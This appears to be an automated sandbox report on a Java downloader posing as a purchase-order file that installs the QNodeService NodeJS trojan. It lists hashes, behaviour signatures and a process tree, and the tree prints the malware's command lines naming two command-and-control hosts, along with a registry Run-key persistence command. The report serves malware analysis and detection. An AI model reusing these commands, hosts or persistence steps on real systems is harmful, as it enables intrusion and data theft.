Analysis

  • max time kernel
    117s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    02-07-2020 17:44

General

  • Target

    Q#5851042-5811#914915-001 PO#340437.jar

  • Size

    12KB

  • MD5

    12d8527421ed9d8e2c02d7ef11840a38

  • SHA1

    2d98fd24f283b6f64929bf81814e736c534e5532

  • SHA256

    4f7e0ca7ff7f9079fa391eed25c8abaf5d3b86f5e64e143f1323e18a52c3ecfe

  • SHA512

    9bc5597f0425544cd3ed765892f2e6f8bfa00b1f86580559dbb220f72b10fea1594721cd1b711508ce5f6a109d45eb3b471ae4c518805c52cc0e64020b14d003

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Adds Run entry to start application 2 TTPs 2 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Q#5851042-5811#914915-001 PO#340437.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://classof.theworkpc.com --central-base-url https://classof.spdns.org
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:1072
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-3b197f7d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-3b197f7d.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1672
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-3b197f7d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-3b197f7d.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:1492
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://classof.theworkpc.com --central-base-url https://classof.spdns.org
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:3784

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1072-109-0x00000026F0540000-0x00000026F0541000-memory.dmp

    Filesize

    4KB

  • memory/3784-115-0x00000218B6300000-0x00000218B6301000-memory.dmp

    Filesize

    4KB